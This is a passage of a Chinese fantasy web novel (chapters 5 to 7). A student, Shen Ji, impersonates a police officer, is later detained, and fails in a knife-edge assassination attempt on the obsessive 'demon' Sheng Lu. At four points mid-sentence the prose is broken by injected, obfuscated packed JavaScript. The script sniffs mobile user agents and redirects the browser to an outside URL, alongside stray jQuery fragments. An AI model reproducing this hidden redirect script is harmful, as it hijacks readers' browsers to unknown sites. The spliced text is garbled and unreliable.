就在这时，导师的虚拟成像一阵模糊，随后中断。 劳埃斯连忙打开自己的光脑，想要连接上星网，但显示无信号。 看来信号并不是时时都灵通的。 雷伊此时一心只想证明什么，抬头看向沙墨和沈继，张了张口，想想还是算了，这两个人只会真诚的补刀。 也许这里只有劳埃斯还懂点人情冷暖，他转而问劳埃斯：“真的……真的有双下巴吗？” 眼神中甚至带着点祈祷的意味。 劳埃斯垂眸看着他：“偶尔双下巴又怎么了？会影响你的愚蠢吗？” 雷伊被再次击中，要不是受伤了，他绝对要起来跟劳埃斯打一架。 察觉到一声轻微的异响，沈继抬头，看见星空上一颗天体偏移了位置。 紧接着光芒缓缓照亮大地和城市，沈继眯起眼睛。 他突然意识到，这座城市的星空和“月亮”都是人造的，而所谓的夜晚也是虚拟星空。 金灿灿的光芒照亮了整条大道，两艘城市警舰飘逸地盘旋在路口。 几名警察带着武器下了飞行舰，走进小道里，看见横七竖八地躺着的几具尸体。 “呼叫总部，在东一进大门左路二号后方，有四具尸体……” 一位警官选择角度，拍下了一张现场照片，下一秒这张照片传播到歌雅的各大媒体平台和网络。 “凌晨时间，我市东一进大门发现四名死者，目前推测是被精神力手枪击中，均为一击致命。死者身份暂时无法确认。官方提醒，近日沙星成员在我市出现，昨晚，沙星教信徒与巨神教教徒冲突频发，死者很可能是巨神教教徒，附近居民需保护自身安全……” “咳！”一口水差点从雷伊口里呛出来。 游轮巨屏下方，刚刚从案发现场离开的“真凶”小组，正大摇大摆地坐在露天餐椅旁。 沙墨后知后觉：“oi，我们是不是让圣路背锅了？” 劳埃斯看着沈继，斟酌了一会儿：“因为事关我们几个人，我还是想问，你的精神力手枪是你自己的，还是谁的？” 问是这么问，但劳埃斯大概也猜到了，他们穿越过来时，除了移入皮肤下层的光脑，任何器械都无法携带穿越。 沈继回忆起昨晚被围堵的画面：“是一个穿黑袍的声音粗糙的男人。” “……是别人的。”劳埃斯沉思。 几个人同时吊起心跳，如果手枪是有主的，很快歌雅警察就会追到他们了。 也许还等不到回柏堡，就要被歌雅人民执行死刑了。 沈继露出伟大的笑容：“没关系，是从沙星成员手里抢的，追查起来，歌雅警察只会算到沙星头上。” 话一出口，雷伊几人都松了一口气，沙星的话，就可以完美背锅。 “……”该死的道德感，随他去吧。 之后，几人又试了一下，发现现在的光脑除了基本的定位和智能问答功能，已经无法连上星网了。 “看来昨天晚上能直播也许只是某种磁场的作用。”劳埃斯推测。 因为雷伊受伤不轻，所以众人决定先找个安全的地方休息。 来的时候，也学习了关于歌雅交易的一些货币，因为没有办法造出歌雅的真币，所以只能用晶体宝石等硬通货替代。 劳埃斯搜刮了那几个联邦军人的财物，基本上可是花上几个月了。 从广场离开的时候，沈继听见新闻人的声音从后面传来：“今天晚上，圣路将出席与巨神教高层的谈判会议。此次会议地点在政务大楼……警方提醒……” 乘坐飞行列车到达附近的小镇，他们没有身份信息，因此只能选择偏僻的小酒馆，开了包厢临时休息。 在前台的时候，沈继就觉得自己快撑不住了。 一坐到沙发就雷打不动地睡着了。 睡梦中，圣路的眼睛隔着河道的烟波，像石榴的颜色一样。 他颤抖着唇，用那种期望已久的目光，深邃摄人，充满侵略性地看着他，那时候，沈继的心被影响了。 他翻了个身，第一次从睡梦中那么快地清醒过来。 这时候，雷伊和沙墨躺在隔壁的球形沙发上。 劳埃斯闭着眼睛靠在另一边沙发。 沈继觉得自己必须去杀了圣路，趁着现在还在歌雅的时候。 沈继是一个内心平静，情绪稳定的行动派，认定的事情从来没有犹豫，甚至到心无旁骛的地步。 “劳埃斯，我要出去一下。”他知道劳埃斯没有睡觉。 劳埃斯皱了皱眉，提醒他：“如果你晚上没有回来，我们会去找你。” 沈继想了想：“够了。” 反正是成是败，都是一瞬间的事。 沈继走出小镇，再次乘坐那趟飞行列车，很快到达城市中心的政务大楼外围。 大楼周围已经布满警舰和军舰，高度紧张的气氛连夜风都焦灼起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401163|168690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈继站在虚拟布景的夜空下，这附近都是高手，基本上所有能狙击的高点都被重点圈起了。 远狙不行，只能近攻了。 会议还没开始，大部分人的注意力基本都在大门和顶楼。 沈继走进后面的一片空中泊机场，这里的防卫最弱。 警察换岗的时候，沈继看见他们在向上级报告，那位上级和自己一样，黑发黑眸。 他在转角处勒晕了那位上级，之后换上了他的制服，戴上制帽遮住自己的短发。 铭牌上用歌雅文写着凯帝安。 沈继想把铭牌戴上，然而铭牌识别到他的身份错误，产生了斥力，发出警报。 被沈继及时用精神力捏碎了警报器。 “凯帝安先生，您在这里，客人们都快到了，局长请您到前面的大厅等候。”一个声音从后面骤然响起。 沈继转过头看着他，对面的警察愣了一会儿：“有什么吩咐吗？凯帝安先生？” 大部分歌雅人类有一种脸盲性疾病，对于同类外貌，只有浅显的认知，比如在发色和眸色，以及着装上辨别。 那位凯帝安长官和他一样是黑发黑眸，这在歌雅人类中也并不多见。 以至于铭牌的事也被忽略了。 沈继把铭牌塞进了口袋：“我现在就去。” 父亲从小教导他歌雅文，因此他的口音毫无问题。 他走进政务楼的会客厅，看见黑色长桌后面，坐着几个老头，穿着白金两色长袍，面容威仪。 这大概就是巨神教的高层了。 身旁穿着警服的局长看了他胸前一眼，目光犀利，沈继从口袋拿出铭牌假意要戴上。 那老头放下心点点头，转过头去了。 沈继笑着，歌雅人，真是傻得可爱啊。 这时候听见人群骚·动起来，每当这种时候，沈继就知道，是圣路出场了。 那家伙出场的方式总是如此，仿佛有一种神秘而盛大的BGM。 沈继在局长后面，看见沙星成员的黑色身影地走进大厅，随后向旁一让，所有人目光望向门口，圣路一头白发在黑色的簇拥中格外显眼。 按照惯例，警方要对一行人再次检查是否带有精神力手枪等违禁武器。 “与会者都需要戴上精神力控制仪。请谅解。” 圣路抬起左手，任由警方在他手腕上戴上控制仪，抬起目光直视对面的几个巨神教老人。 他脸色阴冷麻木，英俊的五官因为恶魔般的眼神而渗人，那穿透力完全不像一个omega。 那种冷酷和禁忌的神秘气质，就算是在Enigma身上也没有见过。 大概这是他被称为恶魔的原因。 那几个老人被他的眼神折磨到冷汗直落，回避了视线。 等到一切完毕，圣路双手放进西服风衣的口袋，绕过长桌，走到对面的座位。 沈继站在局长后面，观察圣路走路的角度和速度，细致入微，全神贯注。 圣路走到局长面前时，毫无预兆地停下了脚步。 沈继几乎是隔着局长的帽沿面对着圣路的侧脸。 糟糕，他好像认出自己了。 圣路那张冷沉的脸转过来看着沈继，他神秘一笑，张嘴伸出舌尖。 沈继看见他舌头上含着一颗星星形状的红色糖果，把原本粉色的舌尖晕得殷红。 沈继：“……” 5. 第五章 在场人虽然多，但因为角度问题，这一幕也就沈继和前面的局长看见了。 沈继还没怎么呢，前面的局长老头捂着胸口，踉跄了一下，差点跌了。 估计是画面冲击力太大，局长老头一脸茫然受宠若惊，看着圣路的背影，脸色还尴尬地泛起微红。 沈继把他推回去站好，胡子一大把了还发春啊。 会议正式开始。 从几人的谈话中，沈继渐渐明白了事情的原由。 他所在的D国是歌雅人类中一个中等国家，国内大部分人民一直信奉巨神教。 直到圣路带领的沙星势力破土而出，教堂壁画上的丑闻不过是最后一根稻草而已。 教皇的死说明圣路的影响力已经超过了巨神教。 现在巨神教最德高望重的四位长老也着急上火，提出了种种条件和丰厚的利益，只为了圣路退出D国。 说白了，这一次会议是为了争夺D国人民的信仰权而来。 圣路坐在他的座位上，双手摊开：“我从没有创立任何教派，更别说创立任何一条教义，以任何形式束缚人民。” 沈继看见他手腕上的精神力控制仪，虽然是个绝佳的刺杀时机，只是得手后，自己难以脱身。 “那么你就不应该出现在教堂上。”长老怒道。 圣路手肘倚在一端扶手上，身体微微向左靠，眼神平静：“是的，恶魔不应该站在教堂中，就像教皇不应该躺在儿童的床上。” 有人沉默着。 “某些败类，不代表巨神教。” “得了吧，大家不是不信仰，只是都厌恶虚伪的东西而已。”圣路仰头，不屑地笑起来。 他站起身，几乎所有人立刻跟着站起来。 唯一坐着的是场中资格最老的长老，他冷道：“你的意思是不退让，那么为什么还要答应来参加会议？” “是这样……”在众目睽睽之下，圣路的眼神落在左边的警队中。 笑声因为气息的起伏缓缓震动在胸膛，声音低沉华丽：“我有一个小游戏，正在等待最亲昵的朋友来捕捉。” 所有人都愣了一下。 沈继听见自己身前老局长急促的呼吸和颤抖的身体。 “怕他不来找我，所以需要露个面，诱惑他来抓我而已。” 圣路略过老局长惊愕的脸，目光落在沈继身上，难得温柔而威严：“抱歉，亲爱的，我真没想到会来这么多人，让你无从下手。” 沈继看着他，眼神不含意义。 这家伙的精神状态…… 瞧吧，现在只是这样人群中对视，恶魔的笑容就加深了，眉目舒展，饶有兴致。 自己要是狠狠瞪他一眼，他肯定爽到发抖。 忽然怀里一重，沈继低头一看，老局长竟然硬生生直挺挺倒在他怀里。 这可怜的老头居然承受不起恶魔的温柔低语和侵略眼神，小鹿乱撞的心跳把自己撞晕了。 所有人都吓了一跳，现场有些混乱，有人呼叫医生，有人过来急救，还有的帮忙给老局长降温。 虽然天气不热，但老局长看起来烈火燃烧了，这个年龄竟然还不可控制地散发了信息素，于是就要开始驱散omega和alpha了。 会议不得不终止。 在混乱的人群中，沈继看见圣路的背影被沙星成员簇拥，只剩一点耀眼的白发。 圣路回头看向他，身后的成员自动退让开视线，他们站在黑袍的阴影中，将他拢在中间。 沈继只能看见他嘴型，判断他说的什么。 “来吧。”他说。 那眼神中带着浓浓的暧昧的含义。 沈继把老局长帮忙送上医护舰，随后走回泊机坪，将制服帽子丢在真正的凯帝安身边。 太困了，坚持了将近一天一夜没有入睡，可以说马上就要倒下去的程度。 沈继回到小酒馆的包厢，这时候才刚开始深夜，酒馆内跳舞的喝酒的，吵闹不堪，雷伊几人在包厢里睡得正香。 沈继倒在沙发上，跟死尸状态一样，发出砰的一声巨响。 梦里都是圣路的眼睛。 就这么睡到第二天晌午，从穿越到现在已经两天两夜，还没有进食，再加上高度紧张和过山车的情绪状态，柏堡宗门的几位天骄差点饿死在异界。 这时候，沙墨再次弹出他的美食攻略。 最后只在酒馆里点了些面条和干奶酪吃。 在酒馆里，人们显得异常亢奋，新闻传媒在播放一段爆炸视频。 巨神教的四位长老死在昨天的爆炸事故中。 也就是沈继那天走后，四位长老各自乘坐穿梭舰离开，在途中发生了爆炸。 沈继想起昨天，圣路看着长老们的那双眼睛，那双眼睛预言了他们的死亡。 “是在飞行舰上爆炸的，都成血雾了。” “是沙星组织干的吧。” “用得着说吗？所有人都知道。” “还有上次东一门的几具尸体，肯定也是沙星干的。” 柏堡小组吃着盘里的东西，脖子压低了一寸，沈继除外。 这时候，酒馆的自动门打开。 一片阴影完全盖住了桌前的光芒，几个年轻人抬头一看，见到一张政府证件。 “您好，我们是警局的，有些事情想查询一下，请和我们来一趟。” 雷伊几人对视一眼，在跑和不跑的挣扎中，劳埃斯先做了决定。 “好的。”他站起身，一脸平静：“但是能问有什么事吗？” 劳埃斯是四人中除沈继外，对歌雅语言掌握最深的。 “是关于一件死亡刑事案件，不过别紧张，具体的事情我们到警察局再说。”一个温柔的女警官道。 沙墨视死如归，还把最后的一口奶酪饼吃了。 几人坐上了飞行警舰上，俯瞰了歌雅美丽的森林河流和城市。 一路上把光脑戳破了，也没联系上导师。 警局。 “是这样，我们在监控上查到，你们曾经出现在案发现场附近，可以说说，前天晚上你们在那儿干什么？” “不做什么奇怪，看圣路的时候出发了，谢谢。”雷伊面容真诚。 对面的警察对视一眼。 劳埃斯闭上眼翻译：“他的意思是，我们在那里围观了圣路和教堂发生的冲突。” 警察看着眼前几人，在以蓄发为主流的歌雅世界里，这几个短发异服的年轻人实在十分可疑。 原本只是有些怀疑，现在几人的嫌疑更大了。 他们看向一直沉默不语的沈继，拿出了昨天在政务大楼得到的监控录像。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401164|168690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雷伊几人看到了监控，顿时心跳如擂。 监控中，沈继站在人群中，穿着制服。 这祖宗又干了什么惊天动地的大事。 问询室的几个警察目光在监控录像和沈继脸上来回观摩。 警官A：“黑色头发……” 警官B：“黑色眼睛……” 警官A和B：“身高也很像……” 警官B：“啧，看起来像，还是不太能确定……” 劳埃斯：“……” 雷伊：“……” 沙墨：“……” 雷伊心里大喊：这么伟大的一张脸，到底为什么需要反复辨认个不停啊喂…… 你们真的那么脸盲吗？ “凯帝安警官也没有看见过行凶者，就被勒晕了。”女警官耸耸肩道。 “警官，没有证据的话，我们是不是可以离开呢？”劳埃斯道。 “请稍等，最后做一下基因犯罪库检测，如果没有问题，你们就可以离开了。” 四人组心里已经稳了，歌雅的基因犯罪库，和他们几个未来人有什么干系？ 几个人采了指纹和DNA，在等候室等待结果。 一个小时后，那位女警官一脸严肃，走进了等候室。 成像上显示劳埃斯的头像。 “劳埃斯，重罪，于4212年收监沼泽监狱，十年前越狱逃离，现在是A级在逃犯。” 几个人目瞪口呆，那上面确实是劳埃斯的头像。 雷伊高深莫测道：“哼，虚伪的小子，我就知道你藏的最深。” 劳埃斯道：“十年前我才八岁。” 女警官沉声冷道：“安静！”态度可以说是与之前判若两人。 “雷伊，重罪，于4212年收监沼泽监狱，十年前越狱逃离。现在是A级在逃犯。” 雷伊惊在当场。这回轮到劳埃斯冷笑了。 “沙墨，重罪，于4212年收监沼泽监狱，十年前越狱逃离。现在是A级在逃犯。” 沙墨一脸迷茫。 “沈继，特大重罪，重罪，于4212年收监沼泽监狱，十年前越狱逃离。现在是SS级在逃犯。” “不愧是你啊……”雷伊一脸崇拜看向沈继。 劳埃斯气笑了：“？等等，为什么你差别对待这么明显？” 此时，等候室原本的墙壁开始蜕变转化，坚固金属灌筑成的墙壁升上来，将他们禁锢在室内。 沈继皱眉：“我觉得不对。” “哪里不对？”另一位警官道。 “您说的沼泽监狱在A国，就算我们真的是A国的罪犯，理论上我们也是A国公民，D国和A国甚至至今没有建交，D国的警察无权干涉我们的自由。” “……”沙墨和雷伊一起星星眼。 劳埃斯看着沈继，歌雅是史前文明，沈继怎么会对歌雅情况这么熟悉，几乎是无所不知的地步。 连他说的歌雅语都十分自然通达。 女警按在桌面上厉声道：“没错，你说的没错，但是现在，我们怀疑你们和我市最近的杀人案件有关。现在有权扣押你们。” “我要找人保释我们。”沈继道。 ”哼，最好有人能保释你们。” 一张表格落在桌上，那男警官道：“填写保释人的信息。” 6. 第六章 “沈继，你是在拖延时间吗？”沙墨疑惑道。 “我们就像被抛弃在歌雅的孤儿，是孤儿啊……”雷伊扶着劳埃斯的肩膀作痛苦状。 劳埃斯嫌弃地把他的肩膀抖开。 沈继顿了顿，在表格上写下了一串地址和号码。 那两名警察拿到表格看了一眼，意识到什么，慎重道：“请等一会。” 说完走出去，最后离开的表情十分耐人寻味。 局长办公室。 “谁？你说谁？”刚刚才从医院抢救回来的老局长，闭着眼睛调养，听见下属的报告，猛的睁开眼。 “他写的确实是那个地址，而且还有秘号，我们不确定是真是假，所以才来问您。” “那位先生怎么可能跟什么在逃犯扯上关系？”老局长谨慎得接过那张表格。 “主要是，您先看看这人的长相，是不是确实跟那位很像？”能警官道。 随即办公室内打开了等候室的监控，老局长看着那黑发年轻人，一时间觉得十分眼熟。 “别说在D国，就是在全歌雅，这种黑发黑眸的长相也十分少见，所以我们才犹疑，他会不会说的是真的。” 歌雅人没有染发美发的行业，也没有化妆易容的概念，他们对于同类长相的第一次印象基本上伴随一生。 因此一个人的相貌成了最大的身份辨认依据。 局长来回踱步，一会儿摇头一会儿不可思议。 之后他走进了等候室。 现在等候室已经变成密不透风的铁牢，精钢门随着虹膜认证后打开。 老局长走进来，眯起眼仔仔细细地打量起沈继。 劳埃斯几人都认出了他是昨晚站在沈继面前的老头，不由紧张起来。 恐怕他很快就认出沈继了。 这种时候，沈继向老局长露出微笑。 因为要供养两个灵魂，他的精力和生命力十分有限，无法像雷伊那样活泼开朗，也没法像劳埃斯那样谨慎多虑。 他总是看起来满不在乎，有一种游离于状况之外的冷静从容，他的话一向很少，连笑也很少。 这种时候，他笑起来不是为了什么，全是因为想起了前天晚上老局长的社死窘态。 老局长看着他神情恍然，这笑分明是身份神秘，背有靠山，否则一个在逃犯怎么可能会对自己一个警局局长露出这样的笑。 很显然，他没有认出沈继。 “你在表格上写的，保释人是你的什么人……” “总之是有点关系。”沈继道。 老局长意味不明的点头：“等一下，如果你和他有关系，十年前你怎么会沦落到去监狱呢？” “……我也想问呢，十年前我还在读小学。“沈继看着他。 老局长回头看向女警官，后者点点头：“血液测龄得出，他们的年龄都在十八岁和十九岁。” 这下所有警员也蒙了，基因库是不可能出错的，但人的身体血液也是不可能骗人的。 总之，这一切都不可说通，不可琢磨。 “这小子的话还是太荒唐了。”另一个警官道。 “尽管如此，但我愿意帮你们试着联系一下。”局长说完仿佛挑了一个重担，脸色严肃。 “不过，如果你在说谎，我会有一百种罪名让你们付出代价。” 他转过身去，走到门口的位置，打开立体成像视频，对照着沈继写的秘号一一输入。 雷伊偷偷问沈继：“你到底写的谁？这老头怎么像要上刑场一样？” 沈继道：“学校科技馆走廊上，挂着歌雅的人物画像，随便选一个。” “哇，随便选一个，那上面随便一个都是大佬诶。” “所以写的谁？”沙墨也好奇问。 “国联的部长，沈衣。” 沙墨：“哈～” “好家伙……好家伙，沈继，你胆子真大。”雷伊睁大了眼睛。 “可是这不是很容易露馅吗？”劳埃斯不理解。 沈继没有说话，他知道自己在干什么。 以现在来看，他也许都活不过二十岁，他来这儿是为了杀死圣路，而不是把时间浪费在警察局。 沈继有个秘密，他是歌雅人的血脉，他的父亲是歌雅时代最杰出的神疗师。 他的二叔，就是歌雅47国联的部长——沈衣。 只不过，现在的沈衣肯定不认识他。就连自己的父亲，现在也是个母胎单身呢。 等待通话时，局长的眼神直盯着他们，四个年轻人坐在扇形的询问桌后，看起来眼神一个比一个无辜。 “很快你的谎言就要被戳破了。”局长冷笑。 成像接通了。 忽然，嘈杂的人声夹杂着跑步的声音，有人急匆匆地闯进来。 打开的门差点将老局长推翻了。 “疯了吗？世界末日提前了是吗？”老局长被人拉起来，一口气差点没上来。 “不，局长，恐怕比那个严重……是圣路来了！” 老局长怔在当场，陷入具体的回忆中，思考自己的职场生涯中是否得罪过沙星或者圣路。 “……他来做什么？” 警察摇头，脸色十分不安：“请您去看看吧。” “不用麻烦了，我进来了。” 一瞬间寂静无比，只有恶魔的脚步声渐行渐近。 空气中焚烧神经般的焦灼紧绷，感觉到周围的气场都变得扭曲起来。 两个年轻的警察浑身僵硬，在睁大的瞳孔中，映出恶魔的身影。 传说中与恶魔的眼睛对视，会被摄取灵魂。 “这里面可真热啊。”圣路走进这间精钢打造的等候室，随口感慨。 有人从背后帮他脱下了西装风衣，确切的说不是人（他身后空无一人），而是两只手。 那两只手凭空出现，活生生的仿佛是从地狱的岩浆里伸出来的，精准地抓住了大衣的领子，从圣路肩上滑下来。 沈继紧锁眉头，看见那两只手熟练地将那件风衣抻开平整，随后固定在墙角不动了，像一个艺术写实派的衣架。 雷伊差点尖叫出来，劳埃斯脸色苍白，沙墨目瞪口呆。 两个警察浑身发抖，老局长差点寿终正寝。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401165|168690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而圣路毫无所觉，他面容甚至微微带着笑意，穿着黑色西装闲庭信步绕过桌子，绕过几个年轻人坐着的椅子。 劳埃斯等人坐在椅子上，屏住呼吸，惊恐地感觉到圣路走过身后时，手掌漫不经心地在他们的椅背上方搭了一下，像在钢琴键跳动的白鸽。 像恶魔的手在他们的心脏上扣动着。噗通！噗通！噗通！ 闷热的等候室里一片寂静，只有警察在内心祈祷着什么。 圣路走过了几人后面，直到他的手放在沈继身后的椅背，同时停下脚步。 雷伊不知自己此生怎会有如此大的勇气，他不敢动，但他的眸珠却敢于转动到右边，沈继就坐在他的右边。 他看到圣路俯下身靠近沈继，白发流动下来，挡住了他的视线，看不清沈继的脸。 他看到圣路的手撑在沈继桌前，那只手像白瓷一样优美，隐隐流动着充满力量的血管。 恶魔的身型就是高而健劲的成年人，他轻微俯下身，一手按着桌面，一手撑着椅子，坐着的沈继就成了他的怀中之物。 沈继抬起上目线，看着头顶上男人猩红的眼睛：“有什么事吗，非要凑这么近。” 圣路听见这话，按着椅子的手转而抬起来放在他肩膀上，这过程手心微颤着，似乎颇为耗力和艰难。 “很近吗？”他更加弯低了腰肢，在沈继头顶上方深深的叹息了一声，呼吸吹拂着一缕黑色的头发。 沈继感觉他的手心冰冷，那种冷透过衣服传到肌肤，带着电流一样微麻的触觉，就像真正的恶魔一样。 但是他的呼吸落在自己发丝上，又带着股股的热意，像普通人一样。 “圣路先生……很抱歉，您来我们警察局……”局长终于从震惊中缓过神来，他毕竟年岁大了，还是要撑起警察局的牌面。 但当圣路抬起眼来看他时，那眼神冷酷，唇角冰冷，与前一刻的神情毫不相干。 老局长的声线又颤抖了：“诶呃……有什么事吗？” “死了四个来历不明的年轻人，还有巨神教的四个老头也死了，现在人们怀疑我，甚至觉得我在做某种祭祀的邪法，我想，你们应该会传唤我，可惜，没能等到警局的传唤，所以我不请自来了。” 他说话的时候，目光又流转到沈继身上，他的手在他的肩膀上，像一条蛇一样，隔着布料和皮肤用力地咬着他的血脉。 沈继想起在太空舱酒店时，那个梦。一模一样的感觉。 几个警员内心擦汗：您倒也不必这么“奉公守法”。 那位女警官胆识过人：“关于四个年轻人的死，我们已经有眉目了，也有了新的嫌疑人，所以，您不必亲自来吧。” 圣路站直身体：“怪不得……” 他突然的动作，让所有人紧张不安，焦灼地看着他。 他的手还放在沈继肩上，垂眸道：“我还以为你不来找我了，原来只是脱不开身，你肯定是迫不及待想来找我的。” 他越发趋向于一种自我肯定。 沈继认同道：“……是的，一直在想。” 虽然他是迫不及待想去杀他。 7. 第七章 等等！ 说完这句话后，沈继心跳一紧，意识到自己马上要后悔了。 圣路这种人，大脑和常人不同，你回应他一声，他都会以为你在答应跟他做·爱——当然，这种情况只针对沈继出现过。 果然，按着他肩膀的手顿了一下。 圣路的呼吸变得急促起来，他的脸色因为过于白皙，只需要一点点情绪起伏便露出暧昧的红。 如今他脸上的红更加明显了，他紧紧看着沈继，眼眸中那种病态的情绪又战栗起来。 真是疯了，那种侵占痴缠的神态，就算下一刻圣路把他吃了都毫不奇怪。 “正常一点好不好？”连沈继这种情绪淡淡的淡人都忍不住咬牙吐槽了。 这话一出，仿佛击中了恶魔的某个开关，感觉圣路按着自己肩膀的手猛然收紧了力气。 在发抖的同时，对方喉咙间的气息也越来越不对劲。 圣路垂眸微微抬头，眼睑下方微红，长舒一口热气，脸色也几乎到了一种欢愉无比的地步：“宝贝……再多说一点……” 他的声线原本就华丽，此时开口的声音低沉夹沙，微微颤抖，更显得暧昧不已，让人想入非非。 沈继：“……” 究竟是哪一点又戳中你的xp了喂…… “麻烦，我要申请单独扣押……”劳埃斯举手。 雷伊和沙墨也默默举手。 老局长回神：“……我带你们去。” 沈继伸手：“我也……”然而被狠狠无视了。 大家一致决定把他献祭给恶魔。 众人鱼贯而出，路过门口那双挂着大衣的地狱手时，目不斜视，毛骨悚然，头皮发麻。 一下子，偌大的等候室只剩沈继和圣路两人，哦，还有那双手。 寂静的空间内传出圣路低沉的笑声，那声音仿佛从他空荡荡的胸膛里传出来的，他的手撩过沈继的额头的发丝，声色动听又温柔：“需要我把你保释出去吗？” 沈继侧头，躲开他的动作：”不用，我已经请人保释了。” “哦？”圣路的手停在那里，像一座雕塑，惊讶的眼神藏不住。 他放下手，声音微微暗沉：“我想知道，是谁这么荣幸？” 沈继站起身，与他面对面，冷道：“你不是什么都知道吗？” 在他眼里，圣路的一切举动都十分诡异，他不由分说，像强盗一样，侵占了自己的精力和生命力，使他难以像其他人那样正常的活着。 而自己现在要杀他，他却总是摆出一副过分亲昵，和他相熟的模样。 两人之间不应该是你死我活的地步吗？ 可是现在，圣路低着头，看起来因为自己的冷漠而失去了活力。 “我是来杀你的。” 随着这句话，感到周围的气氛陡然一变，沉闷的房间里，似乎是刺破了什么情绪的泡沫。 随着圣路的情绪变化，沈继感到四周变得阴冷，气氛昏暗低落。 他手中的精神丝线悄无声息地铺展开，现在只想杀了他，快结束这一切吧。 疯狂生长的精神丝线绞碎了空气中冷凝的霜意。 圣路抬眸，那双血腥的眼睛此刻带着恐怖的穿透力。 随着沈继手指的一张一驰，每一条精神丝线都带着锐利的弧光，裹挟起杀意的狂风冲向圣路。 冲向他心脏的位置。 他们的距离如此近，只要击中心脏，必然死亡，除非立刻发出精神力盾防。 然而圣路站在他面前，动也不动，连眼神都没有变。 他的精神力毫无波澜。 沈继不明白，他可以躲开，为什么不躲。 因为距离太近，鲜血自沈继的周围迸溅而过。 圣路的手上覆盖了精神力，在关键时刻挡住了刺向他心脏的丝线。 终于肯动手了。沈继不知为何反而松了一口气。 最终那条精神丝线没有绞进他的心脏，其他的精神丝线仍然划过了圣路的肩膀。 鲜血淋漓，血滴滴答答不断砸到地上。 圣路笑着说：“真疼啊……可是，又好爽……” 他的笑容病态。 沈继看见圣路的肩膀以肉眼可见的速度愈合。他的精神力很强，还有无可比拟的自愈力。 只有击中圣路的心脏才有成功的可能。 “那你就该动手。” 圣路不说话，他走到沈继身前，从一开始，沈继的精神力始终在自身周围保持着蚕茧的状态，以防御对方的攻击。 沈继看着他越走越近。 圣路向他伸出手，他看起来毫无敌意，指尖在途中碰到了蚕茧的外围，粗糙的外表立刻擦破了他的表皮。 蚕茧由千万条交错密集的精神力构筑而成，就像蚕丝编成的茧壳，外力闯入会立刻被柔软而锋利的蚕丝割碎。 圣路感受到了蚕丝的尖锐，随着指尖闯进了蚕茧的攻击范围，仿佛千根银针在他手上留下细密的伤口。 他却丝毫没有停止的迹象，执意前进让手上细密的伤口越来越深，蚕茧上看不见的利刃几乎要割碎他的手腕。 沈继看见他眼中那势在必得的侵略性的笑意，他好像丝毫感觉不到□□的疼。 他的手伤势细而密，血像红线一样蜿蜒，他越前进，蚕茧的利刃就逐渐延伸到他的小臂，血的伤口越深，终于他抓起沈继的手，拉出了蚕茧之外。 沈继才十八岁，他有生之年怎么可能遇见过这么疯狂的敌人，因此提起了十二分的戒备。 当对方抓住自己的手时，他第一时间想起了歌雅时代的一种精神力杀招，只需要接触敌方的任何一处，就可利用精神力将之撕成碎片。 自己太大意了。 沈继的手僵硬着，蚕茧再次扩大，精神力也进入攻击状态，精神丝线跃跃欲动，只等立刻全力反击。 可就在这时！ 圣路低头在他手背上亲了一口。 “……” 沈继猛的抽回手。 一切反扑的准备在此刻都失去了意义。 等等！他到底是在干嘛？！ 他刚刚到底是怎么会认为这家伙拉他的手是想要攻击自己！ 圣路笑着道：“再见了，宝贝。” 他的手早已恢复了白皙和力量，伤口消失得无影无踪。 他走出等候室，墙角的那两只手，移过来为他披上了那件外衣。 白色的头发拢在外衣内，发尾长长地在大衣下端显现。 “帮我把头发拉出来。”圣路侧过脸道。 “不要。”直男沈继直接拒绝。 他们刚刚才打了一架，鲜血模糊，你死我活的那种，下一刻突然去给人家整理头发，不是很奇怪吗喂！ 圣路微笑，那两只手就冲他飘过来，说实话，这种场景就算是没心没肺的沈继都觉得渗人。 这家伙该不会是打算来强制的吧？ “我来。”沈继忍住了吐槽的冲动，他走到他身后，伸手把那头长长的白发从大衣里整理出来。 那头白发又柔又软，光泽度刚刚好，微微发凉的手感，歌雅人喜欢留长头发，他们有千百种花样的辫型。 在家里的时候，父亲经常替爹地编各种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401166|168690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好看的辫子。 